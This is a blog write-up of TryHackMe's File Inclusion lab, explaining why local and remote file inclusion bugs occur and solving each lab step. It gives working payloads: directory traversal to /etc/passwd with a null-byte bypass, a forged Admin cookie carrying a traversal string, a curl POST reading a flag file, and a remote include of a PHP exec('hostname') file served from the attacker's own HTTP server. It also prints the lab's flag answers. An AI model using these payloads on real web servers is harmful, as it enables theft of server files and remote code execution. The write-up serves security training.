DEV Community

Cover image for Try Hack Me — File Inclusion
Riviru Eren
Riviru Eren

Posted on

Try Hack Me — File Inclusion

Why do file inclusion vulnerabilities happen?

File inclusion bugs usually come from bad input validation. Web apps (often in languages like PHP) take a filename from user input and use it directly to open or include a file. If the app doesn’t check or sanitize that input, an attacker can control which file gets loaded — and that leads to the vulnerability.

Key causes

  • User-supplied filenames or paths are used directly.
  • No allowlist of allowed files or extensions.
  • Dangerous server settings (e.g., remote file includes enabled).
  • Poor error handling that helps attackers probe the app.

What’s the risk?

If exploited, file inclusion can let an attacker:

  • Leak sensitive files (source code, config files, credentials).
  • Read system files (/etc/passwd, logs, etc.).
  • Combine with other bugs (like an upload flaw) to achieve remote code execution (RCE).
  • Escalate access if the web process can read secrets used elsewhere.

Because these vulnerabilities expose server-side data and can lead to full compromise, they’re high-risk and should be fixed immediately.


Challenges

Firstly visit the given link and reach the desired website.

Path Traversal is skipped here as the answer can be found easily by reading the content given at THM.

Local File Inclusion — LFI

Lab 1

Upon reaching the Lab 1 page we are met with a form that can be used to give an input. Lets try by passing etc/passwd through it.

We are given back a response with errors. These errors reveal some crucial details. include(etc/passwd) shows that the whole input is passed through without any filtering or sanitation. And the error also reveals the web directory as var/www/html/lab1.php.

So if we pass the value ../../../../etc/passwd we should get back the passwd file content.

../../../../etc/passwd
Enter fullscreen mode Exit fullscreen mode

The flag for the question asks what the request URI would be for etc/passwd.

So press inspect -> Network and again pass etc/passwd through the form and watch for the first entry containing the request made.

You can see the answer for Q1 under the file categeory of the first entry.

/lab1.php?file=/etc/passwd
Enter fullscreen mode Exit fullscreen mode

Lab 2

Go back to home and press on Lab 2

In this lab we are given that the developer has decided to specify the directory within the function as

<?PHP   
 include("languages/". $_GET['lang']);   
?>
Enter fullscreen mode Exit fullscreen mode

When we try to pass etc/passwd through this lab we get an error as follows.

We can see that the request has been changed to (includes/etc/passwd) so the answer for Q2 is the word “includes” as it is the directory specified by the developer as we can see by it being added infront of the path we entered.

Lab 3

Quick Summary :-

When you don’t have the source code (black-box testing), error messages are gold. They often show how the app builds file paths and where files live.

Example entry point:

http://webapp.thm/index.php?lang=EN

If you send a bogus value like THM, the app returns:

Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
Enter fullscreen mode Exit fullscreen mode

This error reveals three useful things:

  1. The app calls include(“languages/.php”).
  2. Files live in a languages folder and end with .php.
  3. The full server path is /var/www/html/THM-4/.

Knowing the app appends .php means a straight directory traversal like:

http://webapp.thm/index.php?lang=../../../../etc/passwd

fails, because the server tries to open languages/../../../../etc/passwd.php (which doesn’t exist).

Null byte trick (%00)

A classic bypass is the null byte (URL-encoded as %00), which terminates a string early in some C-based string handlers. If the app naively concatenates “.php” after your input, an input such as:

../../../../etc/passwd%00

can make the include evaluate as:

include(“languages/../../../../etc/passwd%00”).”.php”);

→ treated as include(“languages/../../../../etc/passwd”);

That lets you read /etc/passwd via the include.

Important note: the null-byte trick was patched — it does not work on PHP 5.3.4 and newer.

Q3

If we pass etc/passwd we are given an error.

The code appends .php to the end and the developer has also defined a directory hence our path is changed into an invalid path as

(includes/etc/passwd.php)

To solve this issue we can use the ../../ trick to go up in the directories and use the %00 trick to cancel the .php append.

So the path we should enter to retieve the content of the passwd file is the answer of Q3

/lab3.php?file=../../../../etc/passwd%00

Q4

Q : Which function is causing the directory traversal in Lab #4?

Ans = file_get_contents

Q5

Try out Lab #6 and check what is the directory that has to be in the input field?

Open Lab 5 and pass a value ( etc/passwd )

The response says only files in THM-profile folder is accessible. Hence 

Ans = THM-profile

Q6

Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?

We know that all the files should be from the THM-Profile directory hence our input should start with THM-Profile, and we can use the ../../ trick to go up in directories. Lets try this.

Using THM-profile/../../../../../../etc/os-release reveals the OS version as 12.04 which is the answer.

THM-profile/../../../../../../etc/os-release
Enter fullscreen mode Exit fullscreen mode

Challenges

These challenges can be completed using burp suite but as it is covered in other writeups this writeup contains methods to complete the task without burpsuite.

Visit /challenges/index.php and select Challenge 1

Q1. Capture Flag1 at /etc/flag1

We are given a hint.

The input form is broken! You need to send POST request with file parameter!

Go to inspect and find the section related to the form, you can see that the form has been created with the method GET

Double click on GET and type POST in that space. Then without refreshing the brower go to the input form and type etc/flag1 and press include.

The flag will be visible.

F1x3d-iNpu7-f0rrn
Enter fullscreen mode Exit fullscreen mode

Q2. Capture Flag2 at /etc/flag2

You might be asked to refresh the page. If so refresh.

The page says that only admins are allowed to view the site. Lets take a loot at the cookies to see if we can manipulate it.

Right Click -> Inspect -> Storage -> Cookies

We can see that the cookie has a value of Guest. We can try and edit this value. Lets try Admin.

Refresh the page.

We can see it worked. But the flag is nowehere to be seen.

We can see that the input is automatically appended to “includes/” so if we need to try and escape back to the parent directory we need to use the ../../ trick. And as .php is appended we also need to ad %00 to the end

Lets try the same thing again but this time with the path ../../../../../etc/flag2%00 as the value of the cookie.

../../../../../etc/flag2%00
Enter fullscreen mode Exit fullscreen mode

We can retieve the flag.

c00k13_i5_yuMmy1
Enter fullscreen mode Exit fullscreen mode

Q3. Capture flag at etc/flag3

You can follow the same steps and change the GET value to post and refresh the page and intercept the request from Burp and add the parameters and forward to get a response.

But as this method is widely covered and known to give issues to many beginners i will suggest a easier method using CURL.

curl -X POST <ip_adr>/challenges/chall3.php -d 'method=POST&file=../../../../etc/flag3%00' --output -
Enter fullscreen mode Exit fullscreen mode

Answer

P0st_1s_w0rk1in9
Enter fullscreen mode Exit fullscreen mode

Q4. Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?

In order to gain to this we need to create a file containing the hostname command on our machine.

<?php echo exec("hostname");?>
Enter fullscreen mode Exit fullscreen mode

We can do this by Nano in the terminal

nano test.txt
Enter fullscreen mode Exit fullscreen mode

Type the PHP code , Press CTRL+O to save and Press Enter , Press CTRL+X to exit.

cat test.txt
Enter fullscreen mode Exit fullscreen mode

Use cat and view the file content is correct.

Create a server on the same directory using the code ( include a port at the end if needed )

python3 -m http.server
Enter fullscreen mode Exit fullscreen mode

Check the local IP address using ifconfig

In the playground website create a connection using http:///

Answer

lfi-vm-thm-f8c5b1a78692
Enter fullscreen mode Exit fullscreen mode

Top comments (0)